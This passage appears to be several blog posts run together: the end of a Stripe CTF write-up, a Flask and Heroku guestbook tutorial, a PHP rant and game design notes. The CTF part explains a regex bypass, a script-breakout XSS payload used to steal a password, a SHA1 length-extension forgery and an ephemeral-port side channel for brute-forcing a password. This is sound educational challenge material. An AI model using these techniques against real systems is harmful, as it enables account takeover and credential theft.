(That’s why I have an extra space in pingback.php: to match the weird [^\w] atom. Should be \b, but, whatever.)

Trouble is brewing: how can I trick the level05 app into putting the word “AUTHENTICATED” at the end of a response? It always prints trailing literal text!

Well, it’s an uncommonly known quirk (and hilarious potential source of exploits—like this one!) of Ruby regular expressions that they are treated as multiline by default. That means ^ and $ don’t match the beginning or end of a string; they match the beginning or end of a line.

Now the solution is easy peasy. In fact, I don’t even have to do anything, because my pingback.php already contains a trailing newline. The final URL is https://level05-2.stripe-ctf.com/user-vmscdesvlp/?pingback=https://level02-2.stripe-ctf.com/user-zlbgqlkyoe/uploads/pingback.php and we’re off to the races.

Remote server responded with: Remote server responded with: AUTHENTICATED . Authenticated as foo@level02-2.stripe-ctf.com!. Authenticated as foo@level05-2.stripe-ctf.com!

The newline became a space in HTML land, of course.

Back to the main page, and the password is revealed.

Level 6: Streamer

The last of the Ruby/Sinatra puzzles. This is a little “stream of posts” app, built with Bootstrap and jQuery. Once again, I have an automated friend, except now he taunts me over time:

Streamer is soo secure

Yes, we’ll see about that.

Again, his password is the password to the next level. I’m told in advance that his password contains some number of quotation marks and apostrophes, and I can see from the code that any such characters anywhere in any request cause an immediate abort. Lame. I do know that his password appears on the user info page, but of course, only if you’re logged in as him.

XSS and CSRF seem to be no good here; the template is actually escaping things now. (Shame on someone for not making that the default.) But this is the first puzzle with client-side JavaScript. After some useless futzing with bogus usernames, that seems promising.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

      var username = "<%= @username %>";
      var post_data = <%= @posts.to_json %>;

      function escapeHTML(val) {
        return $('<div/>').text(val).html();
      }
      function addPost(item) {
        var new_element = '<tr><th>' + escapeHTML(item['user']) +
            '</th><td><h4>' + escapeHTML(item['title']) + '</h4>' +
            escapeHTML(item['body']) + '</td></tr>';
        $('#posts > tbody:last').prepend(new_element);
      }

      for(var i = 0; i < post_data.length; i++) {
        var item = post_data[i];
        addPost(item);
      };

There are only a few places user data gets put in here: the username and the posts. The username is easily breakable, but that only affects me here. The post elements are escaped by the hacky but correct escapeHTML function. So what does that leave?

It leaves JSON.

JSON is structured, yes, but it doesn’t know or care about HTML. After all, the JSON representation of <b> is just "<b>", and the JSON representation of </script> is just "</script>", the one thing that can break out of an inline script tag.

So I can just write a post like this:

</script><script>alert("gotcha");

And the JS will execute.

But wait! I’m not allowed to send any data that contains quotes or apostrophes. This really is super secure!

Unless I make it:

</script><script>alert(String.fromCharCode(103, 111, 116, 99, 104, 97));

And that’s basically the solution. Take advantage of the provided jQuery to fetch user_info on my friend’s behalf, extract the password, and post it as a message. The final trick is remembering to somehow encode the password (as I’m told it also contains quotes); I just url-encoded the whole page and posted that. Easy peasy.

Level 7: WaffleCopter

Back to Python, but now we’ve moved on beyond websites: this is an API endpoint. There’s a very simple web interface that tells me my API key and shows a lot of my API requests.

I’m supposed to make a request for a privileged waffle, but requests are signed with my API key. They look like this:

count=1&lat=42.39561&user_id=5&long=-71.13051&waffle=dream|sig:30d0ca71b00bbe5e649628b8a7f2f88f90e17c27

The signature is a SHA1 hash of my API key plus the rest of the request.

So. Now what? The database is solid. There’s no other player here. Surely I’m not supposed to just crack SHA1. Surely.

Well, let’s see. The first thing I notice is that the server code does its own parsing of the query:

1
2
3
4
5
6
7
8
9

def parse_params(raw_params):
    pairs = raw_params.split('&')
    params = {}
    for pair in pairs:
        key, val = pair.split('=')
        key = urllib.unquote_plus(key)
        val = urllib.unquote_plus(val)
        params[key] = val
    return params

This is standard affair, with the lone exception that it doesn’t do anything special to handle multiple values for the same key. But that doesn’t help me; I only know how to sign my own requests, and adding more junk data to those isn’t helpful.

I flail around for a bit. Then I notice this.

1
2
3
4
5

@app.route('/logs/<int:id>')
@require_authentication
def logs(id):
    rows = get_logs(id)
    return render_template('logs.html', logs=rows)

This block only lets registered users see API logs, but it doesn’t check which user you are. And sure enough, I can visit /logs/2 and see some requests for privileged waffles! But, alas, nobody has requested the particular waffle I need, which rules out a replay attack. If I could take one of these requests and just run it with a different waffle…! But I cannot.

OR CAN I.

I couldn’t think of anything to attack besides the hash itself. SHA1 has some theoretical weaknesses that make it simpler to attack than mere brute-forcing, but nothing practical, or that I could reasonably be expected to do here.

I do know that SHA1, like many hash algorithms, operates on blocks at a time. I also know that I can add to an existing request, because later keys overwrite previous ones.

And this was enough to shake loose an old memory: you can attack hashes by appending to the message. The googles swiftly told me that this is called a hash length extension attack (creative!). The googles also provided an implementation for SHA1, saving me the trouble of figuring out how to recreate a hash function’s last internal state.

All I need to know is the length of the key—which I have, because mine is the same length—and the hash of my existing message. The attack implementation tacked on a bunch of NULs until the end of the block, tacked on my extra &waffle=liege, and computed a new hash without ever knowing user 2’s key. Chuck it at the API endpoint and I unlock level 8.

That last part ended up being surprisingly painful. I fucked around with curl for at least ten minutes trying to get it to send the request correctly, but it never worked quite right, even using --data-binary and a file. (I had to send literal NULs in the request; the server checks the signature before doing any url-decoding.) In the end I just hacked up client.py to send my forged request instead of computing a real one.

This level is a little unnerving, because the code almost does everything right. Ignoring all but one parameter in the presence of duplicates is reasonable and ubiquitous. SHA1 is still fairly solid. The API log leak was an oversight, but a pretty minor one. And using a hash with a “salt” as a signature sure sounds like it should be reliable. How many people have honestly heard of hash length extension (well, more have now) and will remember to think about it when writing code like this? A few very minor mistakes allowed me to break this application wide open. Imagine if this were a real ordering system; I could use someone else’s request and replace the item and the delivery “address”, then order whatever I wanted.

The Right Thing would be to use HMAC, which is built for exactly this purpose (verifying messages), and which demonstrates once again that you should not ever write crypto code, even if it’s just assembling some stuff to pass to SHA1.

It’s kind of funny that the code I found came from another sec challenge, though.

Level 8: PasswordDB

The final boss. I was the third player to get this far.

A Python app, again. But not Flask. No, not Flask, because it doesn’t even have a real Web interface. It speaks HTTP, but it only takes a JSON blob and spits one back out at you.

No, no, not Flask. This is Twisted.

Awesome.

Here’s the deal: they wrote a service that acts as a little password vault for the final password. It listens on HTTP for a JSON blob containing a possible password, and either confirms or denies that the password is correct. As a helpful secondary feature, I can also provide a list of host/port pairs for it to ping (“webhooks”) with the same response it gives to me, so this service can be used for remote authentication or something.

There is no database. There is no JavaScript, no HTML. The password isn’t even stored in the primary service: it’s broken into four pieces and given to four other processes, then forgotten. When the master service gets a request, it breaks the given password into four chunks, connects to the other processes one at a time via TCP, and checks that each chunk is valid. As soon as a chunk is reported invalid, the master service stops trying and reports a failure to the client.

As a clue, the description emphasizes that level 2 is not correctly firewalled, and lets slip that it even has sshd running. Which is nice, because the master service once again only connects to other machines in the Stripe network.

And that’s all I get.

Hmmmmm.

I freely admit I spent the rest of the afternoon and evening puzzling over this. I downloaded it, I ran it locally, I found nothing. I consulted blackhat friends and Twisted expert friends. Nothing. Even after they started sprinkling hints (explicitly mentioning the version of Twisted, emphasizing it was not a timing attack), the best I could find was… er… a timing attack. Which didn’t work. I read over Twisted’s changelog half a dozen times looking for something, anything, that could make a crack of a difference.

The webhooks were useless; they just received the same information I did. The sshd was useless, because it was only useful for using the webhooks. The JSON encoding and decoding was solid. I found a way to discover what ports the four side processes were bound to, but they were all bound to localhost, so that wasn’t helpful. All I could think of was getting onto the actual machine and looking at the argv for the children, because that’s the only place the password still existed. And that wasn’t really keeping with the spirit of this contest.

It wasn’t until late at night that the first player beat level 8, knocking me down to fourth on the leaderboard. Stripe released yet another hint: they’d changed the app slightly, so logged output would include the host and port instead of just an incrementing request id. Still no idea. It was clearly reasonable to brute-force one chunk at a time—the password was a 12-digit number, so this required only 4000 guesses—but there was no way to target only a single chunk.

I slept on it.

I woke up from dreams of networking. Clearly it had to be the webhooks, but those didn’t send any useful information. I joined #level8 at the suggestion of a coworker, but only a few people had figured out the trick, and they weren’t saying anything helpful.

If the webhooks weren’t revealing anything directly, it had to be a side channel attack. It absolutely, definitely wasn’t a timing attack. So what else would a TCP connection reveal?

As a last resort, talking out loud helps. I was convinced the chunk servers’ bound ports were still important, somehow.

11:22 < subleq> i am completely stuck
11:22 < eevee> i am also lacking inspiration
11:23 < hm_> does chunk_Server ports matter ?
11:23 < eevee> i have ssh and nc and webhooks and my ports but these things do not go together usefully.  i am missing something
11:24 < hm_> i have chunks ports.. but i dont see how it matters in the method i m trying now
11:24 < trevis_> i would venture to say that ports dont really matter, at least with my approach
11:24 < eevee> i assume getting the ports was where the twisted version hint came from
11:24 < eevee> oh really
11:24 < trevis_> i have a working local, but remote fails pretty hard
11:25 < hm_> me too
11:25 < hm_> local find the chunks in minutes.. remote has lot of noise
11:25 < subleq> what noise?
11:25 < trevis_> remote, im barely even able to get requests out now it seems
11:25 < subleq> it can't be time, i can't measure a difference in time even locally

Ports, ports, ports. I better hurry if the server is already overloaded. Ports, ports, ports.

Ports…

11:26 < eevee> wait
11:26 < eevee> oh no
11:26 < eevee> oh no i think i get it
11:26 < eevee> oh fuck

I’ve never had IRC logs of a flash of inspiration before.

Ports.

It is common knowledge that services listen on a port. Web servers, for example, tend to listen on port 80. Most people who would describe themselves as computer-literate are, at least, dimly aware of this.

Slightly less common knowledge is that when you connect to a server, you use a port as well. But it’s not a fixed, known port like 80; it’s just some random-ass big number. When the server responds to you, it sends the response to this port, called an ephemeral port (because it’s released as soon as the connection ends). I imagine most people who’ve done much networking know this, but nobody really thinks about it because it’s almost always handled automatically by very low-level networking code.

I performed a quick comparison.

With the latest Twisted, 12.something, the client ports used to connect to the chunk servers are effectively random. Not useful at all. With the Twisted version Stripe specified in their very first hint, the client ports are consecutive.

And that, my friends, is the exploit.

Allow me to illustrate.

• I ask if the password is 111222333444.
• The master server breaks it up into four chunks: 111, 222, 333, 444.
• The master server asks the first chunk server if its chunk is 111. This requires an ephemeral port, say, 50000.
• The chunk server responds with yes.
• The master server asks the second chunk server if its chunk is 222. Now the ephemeral port is 50001.
• This chunk server responds with no.
• The master server stops trying and dutifully tells me no.

The master server tested two chunks in the process of checking my password, and it used up two ports. If I turn around and immediately check a password again, it’ll use ports 50002 and 50003.

Okay, that’s neat, but doesn’t tell me anything, because I can’t see those ports.

Oh wait I totally can! I SSHed into the level 2 server, left running a crappy little Python script that listened on a socket and printed out the client port used to connect to it, and tried the above again with a webhook pointed at my script.

Now the sequence of events is:

• I try 111222333444.
• The master server asks the first chunk server if its chunk is 111. This uses port 50002. Chunk server says yes.
• The master server asks the second chunk server if its chunk is 222. This uses port 50003. Chunk server says no.
• The master server stops trying and decides no. It contacts my webhook to say no. This uses port 50004, which I can see. Then it tells me no as well and stops.

Now, if I immediately try the same password a second time, I know two ports that were used: 50004 and 50007. That’s three used for the request, which means two chunk servers were contacted, which means the first chunk must be correct.

Thus it’s possible to bruteforce, one chunk at a time. I wrote a script to do this, sending off a request to the server, ignoring the response, and immediately listening for a webhook.

There’s a slight wrinkle here, because other people are also using the same machine, and they’re chewing up client ports too. So getting a delta of 3 doesn’t mean the first chunk must be right; only that it could be right. It could also be wrong, but something else could have used a port in the interim. On the other hand, if the delta is 2, then the master server can only have contacted one chunk server and immediately given up, so the first chunk must be incorrect.

To be reasonably confident, I decided that several deltas of 3 with no deltas of 2 for the same chunk means it’s probably correct.

I let it run, and gradually cracked some chunks. Only a few people had finished level 8 when I started, but an hour or so later I was barely a third done, and the leaderboard was rapidly filling up. I ended up racing someone else on IRC for the very last slot on the first page (which was the only page at the time): I’d been sloppy and missed the correct second chunk, he’d been sloppy and done similar, and he was using Go versus my Python. For the last chunk I bruteforced against the app from my own machine, not bothering to check for ports, and I ended up running curl in a loop in eight terminals, each one trying a different first digit, and crossed my fingers as he rapidly caught up. The curls started finishing, still with no answer, and I was starting to freak out when I finally got my last chunk of 882. (Ugh.) I captured the flag and, as tradition requires, performed the engineer’s victory dance.

You can see my terrible script if you so desire. (There’s also a list of solvers.) I am so sorry for the tabs. The level 2 machine didn’t have my .vimrc and I was in a hurry. Please don’t think less of me.

I don’t know if level 8 even has a real moral. This is so obscure I can’t even find where Twisted mentions changing it, and it was a very specific set of circumstances that let me crack the password.

End

This was a ton of fun, and mad props to Stripe for setting it up (again!). I kinda regret not even trying the first one, and I certainly look forward to the third. :)

I’m pretty sure we should get special t-shirts for finding bonus solutions to some of the puzzles, though. And maybe literal gray hats.

Anyway, my sympathy for PHP’s deviltry is because I appreciate its ethos. Its just-get-it-done attitude. Or, as Melvin Tercan put it in his recent blog post, “here’s to the PHP Misfits. The pragmatic ones who would pick up anything – even double-clawed hammers – to build their own future. Often ridiculed and belittled by the hip guys in class who write cool code in Ruby or Python, but always the ones who just get shit done.”

He’s on to something there. The best is the enemy of the good, and shipping some working PHP code is approximately a million times better than designing something mindblowing in Haskell that never actually ships. I fully support Jeff Atwood’s call to replace PHP once and for all–but I hope that everyone realizes that eliminating its many, many, multitudinous flaws won’t be enough; they’ll have to somehow duplicate its just-make-it-work ethos, too.

This is a recurring sentiment: developers telling me, well, yeah, Python may be all cool in your ivory tower, man, but like, I just want to write some programs.

To which I say: what the fuck are you people smoking? Whence comes this belief that anything claimed to be a better tool must be some hellacious academic-only monstrosity which actively resists real-world use?

But, hey, I’m sick of talking about PHP. So let’s talk about Python. In honor of the 90s, let’s make a guestbook.

Flask

Flask is the thing you use to get up and running quickly. Let’s do that. I don’t think I’ve actually built a real thing with Flask, so this will be fun times for me, too. I’m even doing this in REAL TIME.

eevee@perushian ~/dev/blog ⚘ cd ~/dev
eevee@perushian ~/dev ⚘ mkdir guestbook_demo
eevee@perushian ~/dev ⚘ cd guestbook_demo
eevee@perushian ~/dev/guestbook_demo ⚘ git init
Initialized empty Git repository in /home/eevee/dev/guestbook_demo/.git/
eevee@perushian ~/dev/guestbook_demo ⚘ mkdir guestbook_demo
eevee@perushian ~/dev/guestbook_demo ⚘ touch guestbook_demo/__init__.py
eevee@perushian ~/dev/guestbook_demo ⚘ pip2 install --user flask

Yes, my shell prompt ends with a flower. (If I’m root, it’s a hammer and sickle.)

Make a directory, make a git repository, make a blank Python namespace to stick it in. (I like to start with a package from the beginning—top-level things named “app” gross me out—but this is entirely optional.) Install Flask. --user installs it to my home directory; I probably could’ve gotten it from my package manager, but I was too lazy to look. I have to say pip2 because this is Arch Linux, which is a super special snowflake and considers Python 3 to be the default Python now.

Okay, write some code. Look at all this boilerplate I had to copy from Flask’s front page oh no!

1
2
3
4
5
6
7
8
9

from __future__ import absolute_import, unicode_literals

from flask import Flask
app = Flask(__name__)


@app.route("/")
def root():
    return "Wow this is totally useless so far!"

1
2
3
4
5

from __future__ import absolute_import

from guestbook_demo.app import app

app.run()

Again, half of what I’ve done here is unnecessary. The __future__ stuff just makes some of Python’s behavior a little nicer. I made a file called __main__ so I can run my app with python2 -m guestbook_demo. I love -m. Also, this avoids the if __name__ == "__main__" incantation.

Fire it up.

eevee@perushian ~/dev/guestbook_demo ⚘ python2 -m guestbook_demo
 * Running on http://127.0.0.1:5000/

Click the link. I have a website. Hey, I didn’t even have to install Apache.

Templates

Well, no, first things first.

eevee@perushian ~/dev/guestbook_demo ⚘ vim .gitignore
# *.pyc
# .*.swp
eevee@perushian ~/dev/guestbook_demo ⚘ git add guestbook_demo/
eevee@perushian ~/dev/guestbook_demo ⚘ git add .gitignore
eevee@perushian ~/dev/guestbook_demo ⚘ git commit -m 'Initial commit'
[master (root-commit) 7fa216c] Initial commit
 3 files changed, 16 insertions(+)
 create mode 100644 .gitignore
 create mode 100644 guestbook_demo/__init__.py
 create mode 100644 guestbook_demo/__main__.py
 create mode 100644 guestbook_demo/app.py

Okay, now templates. Hurriedly consult documentation. Blah, blah, autoescaping, how do I use it. Okay, so Flask looks for templates in a templates/ directory by default. How eerily convenient.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

<!DOCTYPE html>
<html lang="en">
    <head>
        <title>{% block page_title %}{% endblock %}</title>
    </head>
    <body>
        <section id="content">
            {% block content %}
            {% endblock %}
        </section>
        <footer id="footer">
            My Cool Guestbook 2000 © me forever
        </footer>
    </body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13

{% extends "_base.html" %}

{% block title %}Guestbook{% endblock %}

{% block content %}
    <h1>Guestbook</h1>

    <p>Hello, and welcome to my guestbook, because it's 1997!</p>

    <ul class="guests">
        <li>...</li>
    </ul>
{% endblock %}

And update the Python side.

1
2
3

@app.route("/")
def root():
    return render_template('index.html')

Now we have some templates. Hey, that wasn’t too bad. Could stand to have some data, though.

An aside: debugging

I learned something doing this, because I made a typo in my template: Flask only does live debugging if I set debug=True when I run it.

1

app.run(debug=True)

This also provides automatic code reloading. Unfortunately, due to some arcane interaction between the reloader and python -m’s behavior, I have to use PYTHONPATH=. python2 -m guestbook_demo to run my app now. Boo. Look at the silly problems I’ve inflicted on myself. That’s what I get for not following the tutorial.

Incidentally, it seems that if I’m putting my code in a package, I oughta hardcode the package name instead of using __name__. (The documentation for the Flask class explains this.)

1

app = Flask('guestbook_demo')

Database

I like SQLAlchemy. I could write a bunch of queries by hand for something simple like this, but honestly, fuck that noise.

First, I need a database. (createdb is a PostgreSQL thing. I’m amazed at how ballsy they are, claiming a generic name like that.)

eevee@perushian ~/dev/guestbook_demo ⚘ createdb guestbook_demo

I don’t need anything fancy for arranging the DB code, either. Credentials should go in configuration, yadda yadda, but since I don’t really need credentials here (Postgres can authenticate using my local Unixy login), who cares.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

import datetime

from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import scoped_session, sessionmaker
from sqlalchemy.schema import Column
from sqlalchemy.types import DateTime, Integer, Unicode

engine = create_engine('postgresql:///guestbook_demo')
session = scoped_session(sessionmaker(bind=engine, autoflush=False))

Base = declarative_base(bind=engine)


### Yonder tables

class GuestbookEntry(Base):
    __tablename__ = 'guestbook_entries'

    id = Column(Integer, primary_key=True, nullable=False)
    timestamp = Column(DateTime, nullable=False, index=True)
    name = Column(Unicode, nullable=False)
    message = Column(Unicode, nullable=False)

    def __init__(self, **kwargs):
        kwargs.setdefault('timestamp', datetime.utcnow())

        super(GuestbookEntry, self).__init__(**kwargs)

This gives me thread-safe transaction support and a canonical copy of my schema with rather little effort or magic. Most of this can be intuited from SQLAlchemy’s hilariously extensive documentation.

Things to note:

• There’s a flask-sqlalchemy package I could’ve used which saves a couple lines of boilerplate and automatically handles configuration, but I’m pretty comfortable with SQLAlchemy.
• I added a custom __init__ that sets the timestamp for a new entry to the current time. In UTC. Always, always, UTC.
• I set autoflush=False, so I can do batched updates. This won’t really matter now, but it’s nice to have from the beginning.

Also, scoped_session does some gross things to make a single session variable multiplex across threads, but it requires knowing when I’m done with a thread’s session. So I need this little guy in app.py.

1
2
3

@app.teardown_request
def shutdown_session(exception=None):
    db.session.remove()

This is one of those things flask-sqlalchemy would’ve done for me. C’est la vie.

Create some tables:

eevee@perushian ~/dev/guestbook_demo ⚘ python2
Python 2.7.3 (default, Apr 24 2012, 00:00:54)
[GCC 4.7.0 20120414 (prerelease)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from guestbook_demo import db
>>> db.Base.metadata.create_all(bind=db.engine)
>>> 
eevee@perushian ~/dev/guestbook_demo ⚘ psql guestbook_demo
psql (9.1.4)
Type "help" for help.

guestbook_demo=# \dt
             List of relations
 Schema |       Name        | Type  | Owner 
--------+-------------------+-------+-------
 public | guestbook_entries | table | eevee
(1 row)

Okay, getting somewhere, but it’s not very useful yet.

Let’s add some data and display it.

guestbook_demo=# insert into guestbook_entries values (default, now() at time zone 'UTC', 'Eevee', 'hello ur web sight is gr8');
INSERT 0 1

1
2
3
4
5
6
7

@app.route("/")
def root():
    # TODO paginate me!
    entries = db.session.query(db.GuestbookEntry) \
        .order_by(db.GuestbookEntry.timestamp.desc())

    return render_template('index.html', entries=entries)

1
2
3
4
5
6
7
8

    <ul class="guests">
        {% for entry in entries %}
        <li>
            <blockquote>{{ entry.message }}</blockquote>
            <p>— <cite>{{ entry.name }}</cite>, <time>{{ entry.timestamp }}</time></p>
        </li>
        {% endfor %}
    </ul>

Flask reloads itself, so I just need to refresh the page, and there it be.

Spot the bug

I just noticed I didn’t have a page title because I called the block page_title in the base template and title in the inheriting template.

Also, I have import datetime in my db.py, but it should be from datetime import datetime. utcnow is a method on the class, not a function in the module. (I wish the module and class weren’t named the same; who does that?!) The in-browser stack trace helpfully pointed this out to me.

Signing it

Finally, this isn’t very useful unless someone can write in it. No surprises here; we have all the infrastructure and just need to make use of it.

1
2
3
4
5
6
7

    <hr>

    <form action="" method="POST">
        <p>Name: <input type="text" name="name"></p>
        <p>Message: <textarea name="message" rows="10" cols="40"></textarea></p>
        <p><button>Sign</button></p>
    </form>

1
2
3
4
5
6
7
8
9
10
11
12
13
14

from flask import Flask, redirect, render_template, request, url_for

# ...

@app.route("/sign", methods=['POST'])
def signme():
    new_entry = db.GuestbookEntry(
        name=request.form.get('name') or 'Some dummy who forgot to leave a name',
        message=request.form.get('message') or 'WOW THIS IS THE BEST WEBSITE EVER',
    )
    db.session.add(new_entry)
    db.session.commit()

    return redirect(url_for('root'))

Refresh, try it out. Done.

Deployment

Arrgh, that thing that’s hard! What do we do now!

We have a few options.

1. There’s the… classic approach of dumping it all on my server and leaving it running in tmux. Let’s not do that. Ever.

2. I already have Python stuff deployed using gunicorn, reverse proxying, and an Upstart script. I like this setup (except that Upstart blows) and could easily just copy it. That’s not very helpful in the context of this “do it fast” post, though.

   Note that Debian-based distributions have packaged gunicorn as a daemon itself, so you only have to create a file with a couple lines to get going. That’s awesome.

3. Probably the most brain-dead thing to do is use Apache’s mod_wsgi, which worries about running your app for you. It’s even Flask’s first choice for deployment, and it just takes a few lines of boilerplate Apache configuration, which all PHP devs are surely familiar with. But I don’t have Apache installed, and we’ve gotten along just fine without it so far, goddammit.

   Dreamhost has some unsupported instructions for using Apache’s mod_passenger with a Python app, which is basically the same idea.

What else is there? Plenty, really: FastCGI, or regular CGI (yeargh), or various other options for running a standalone thing, and I will totally blog about all this someday I swear.

But I want something drop-dead simple. I want this on the interbutts now.

I will try something I have never tried before, while you, dear reader, watch me fumble.

I will try Heroku.

Heroku

Hold up while I sign up for this thing and wait for the confirmation email.

…

Okay it has linked me to the quickstart guide. Let me remind you that, far moreso than with Flask, I have no idea what I am doing.

First I have to install some Ruby thing, naturally. Let us pause for twenty minutes of reflection while documentation is compiled.

eevee@perushian ~/dev/blog ⚘ heroku login
Enter your Heroku credentials.
Email: eevee.heroku@veekun.com
Password (typing will be hidden): 
Found the following SSH public keys:
...
Which would you like to use with your Heroku account? 2
Uploading SSH public key... done
Authentication successful.
eevee@perushian ~/dev/blog ⚘ cd ../guestbook_demo
eevee@perushian ~/dev/guestbook_demo ⚘ heroku create
Creating whispering-beach-4961... done, stack is cedar
http://whispering-beach-4961.herokuapp.com/ | git@heroku.com:whispering-beach-4961.git
Git remote heroku added

I seem to need a pip-style requirements.txt (just a list of Python distributions, one per line) and a Procfile (which tells heroku how to launch my thing). There are instructions for Flask, but as I already made an app, I’m just beating what I have into submission with minimal changes. And some trial and error.

1
2
3

Flask>=0.8
SQLAlchemy>=0.7
psycopg2

1

web: python -m guestbook_demo

Other changes:

• Remove that debug=True, of course.
• Heroku wants my app to run on a port specified in the environment, so use app.run(port=os.environ['PORT']). And change the host to 0.0.0.0. It tells me nicely about these things when I use heroku logs.

I went through a couple cycles of git push heroku master and heroku logs, but I admit this is surprisingly painless and kinda sorta almost like just running it locally. With a bit of a runaround anytime I change anything.

I have to add a web process before anything will run, I think:

eevee@perushian ~/dev/guestbook_demo ⚘ heroku ps:scale web=1
Scaling web processes... done, now running 1
eevee@perushian ~/dev/guestbook_demo ⚘ heroku ps
=== web: `python -m guestbook_demo`
web.1: up for 39s

And now I just need to reserve a database, make SQLAlchemy connect to it, and create the tables.

eevee@perushian ~/dev/guestbook_demo ⚘ heroku addons:add heroku-postgresql:dev
Adding heroku-postgresql:dev on whispering-beach-4961... done, v9 (free)
Attached as HEROKU_POSTGRESQL_JADE
Database has been created and is available
  ! WARNING: dev is in beta
  !          increased risk of data loss and downtime
  !          send feedback to dod-feedback@heroku.com
Use `heroku addons:docs heroku-postgresql:dev` to view documentation.

1

engine = create_engine(os.environ.get('HEROKU_POSTGRESQL_JADE_URL', 'postgresql:///guestbook_demo'))

eevee@perushian ~/dev/guestbook_demo ⚘ heroku run python
Running `python` attached to terminal... up, run.1
from guesPython 2.7.2 (default, Oct 31 2011, 16:22:04) 
[GCC 4.4.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
t>>> from guestbook_demo import db
>>> db.Base.metadata.create_all(bind=db.engine)
>>> 

And then…

Oh. I’m done.

http://whispering-beach-4961.herokuapp.com/

That was actually way, way less painful than I expected. I would hecka pay money for this thing.

Recap

So I have a dumb little app that connects to a database, adds things to it, and shows things in it. It’s running live on a free “web host”. And I didn’t know how to use half of these things when I started.

This took a couple hours, minus writing this post, and trying to figure out why my changes didn’t take effect when I only typed them in the blog post and not the actual code, and playing with my cats, and eating a muffin, and whatever other fucking around I was doing. In retrospect, I’m probably not the best person to demonstrate speed of doing anything. But consider what we have here.

• I have routed URLs, and a URL generator, inside the app. I never once, at any time, wrote any web server configuration whatsoever. I don’t even have a web server installed on my machine.
• I have a full ORM at my disposal that will work on half a dozen different databases.
• There are no SQL injection vulnerabilities; the ORM takes care of that.
• There are no XSS vulnerabilities; the template language takes care of that. (Which is good, because I see the second entry here is already an attempt at script injection.)
• There are no HTTP header splitting vulnerabilities; I didn’t even write any headers manually.

I didn’t even touch half of what Flask does: it also has omnipresent sessions, flash messages, lightweight plugins, test amenities, logging, and god knows what else.

Was this quick? I believe so. Was it dirty? Certainly not. I have a namespace for my app, separate db configuration, separate templates with inheritance. If I’d been so inclined, I could’ve been using Flask’s configuration stuff to get some hardcoded values out of there as well.

Plus, half of what I did was setup stuff you’d have to do for any application: thinking up a db schema, creating a git repository, finding hosting. Now all that stuff is ready to go, and the rest is a breeze.

And I didn’t know anything about Flask or Heroku this morning.

Getting things done is not mutually exclusive with doing them nicely. None of this was hard. It’s just different.

Come dip your toes in. You might like what you find.

I threw the thing, complete with my embarrassing heroku fumbling, on github.

Afterthought: the article

Other choice TechCrunch quotes:

And yet PHP is allegedly used by more than three-quarters of all web sites.

Alleged, indeed. This links to w3techs, which seems to indicate that it uses URLs and HTTP headers to detect what language a site is written in. What popular language plugin for Apache reports itself in the Server header, whether it’s being used for the current page or not? mod_php. What doesn’t? Everything else!

(Addendum: I am told w3techs is even less reliable than appears at first glance. They omit the nearly 20% of sites they can’t guess at all.)

“here’s to the PHP Misfits. The pragmatic ones who would pick up anything – even double-clawed hammers – to build their own future. Often ridiculed and belittled by the hip guys in class who write cool code in Ruby or Python, but always the ones who just get shit done.”

Yeah, well, fuck you. I don’t write Python because it’s cool, and I’m rapidly tiring of having invented motivations used as a reason to disregard what I say. I use Python because it balances getting stuff done with having that stuff not fall over as soon as I turn my back. Programming is a world of tradeoffs; most of PHP’s trade immediacy for the slightest hint of reliability. Those geeks writing sites in Haskell aren’t always just doing it because it meets some academic (when did learning become bad?) standard of purity; very powerful typing often solves very real problems in software engineering. The tradeoff there is that very powerful typing also makes some common tasks particularly difficult to implement. Some people find this tradeoff acceptable; many do not.

I know these things because I have a passing familiarity with more than one language, and a passing familiarity with more than one methodology. If you don’t know why your favorite tool’s tradeoffs are good or bad but are merely used to them, then for the love of god, please expand your context bubble before passing the rest of us off as squabbling elitist philosophers.

Now let’s pretend this post has nothing to do with PHP because I am sick to death of typing about it.

I could blather about my adventures figuring out how to make OpenGL do anything useful, but who the hell cares. Far more interesting is the adventure of figuring out what the game actually is.

We have a pretty simple approach here: we’ve each played some decent set of video games, and we each have unreasonably strong opinions about what was good or bad. All we have to do is make a game with all the good stuff and none of the bad stuff. Done. Ship it.

The big picture

The game revolves around Mel’s fictional universe, populated by all manner of colorful critters. The protagonists and namesakes are flowercats, so named because they are flowers with cats growing out of their stems.

It’s a top-down role-playing adventure, except everyone has a different idea of what that means, so let’s say it’s roughly the same style of game as Link’s Awakening. Turns out all three of us like adventuring: exploring a world, feeling like part of it, discovering secrets, finding teases of the plot, and hitting stuff. Luckily, the main characters are into the same kinds of stuff, so we’re off to a good start there.

The theme is turning out to be “elements”: both of nature (earth, fire, etc.) and of gameplay itself. We keep finding ways that distinct focus on each of exploration, puzzles, and combat seems appropriate. Possibly because each of us has a different favorite of the three.

Balance

Which brings me to the tricky bit: finding a middle ground between what we like and what drives us fucking bonkers.

• Good: Exploring a wide, open world. Bad: Calling GTA4 a “wide, open world”. Backtracking like crazy. Fast-travel that makes you never see the world. A map that, paradoxically, doesn’t show you where anything is or how to get to it.
• Good: Unlocking new ways to move through the environment. Bad: Realizing you don’t remember the ten places you saw an obstacle that you can now pass.
• Good: Collecting stuff. Bad: Being forced to collect the same worthless plot items to progress. Collection that doesn’t actually lead anywhere. Collection you don’t have a prayer of finishing until you’ve otherwised finished the game, thus turning it into a lame “post-game”.
• Good: A populated world. Bad: NPCs who walk back and forth their entire lives and only say one thing to you. A quantum world that seems to pause while you’re not around to look at it.
• Good: Multiple ways to defeat obstacles. Bad: Letting the player skip an obstacle with no punishment. Fallout 3.
• Good: A sense of progression. Bad: Screenfuls of stats that don’t seem to mean anything or change predictably. Huge numbers of stat-changing options. Minmaxing.
• Good: Novel puzzles that instill a sense of accomplishment when solved. Bad: Puzzles the game solves for you. Puzzles that are afraid to be difficult. Puzzles that rely on the author’s perspective. Puzzles that you can opt to skip, thus making solving it a complete waste of time.

Avoiding the bad is going to be tricky, to say the least. Some of these plague virtually every game because it’s just damn hard to do anything else. Still, I have every confidence that we are uniquely suited to avoid pitfalls that the biggest and most successful game development studios have yet to subvert. Cause we’re awesome.

Status

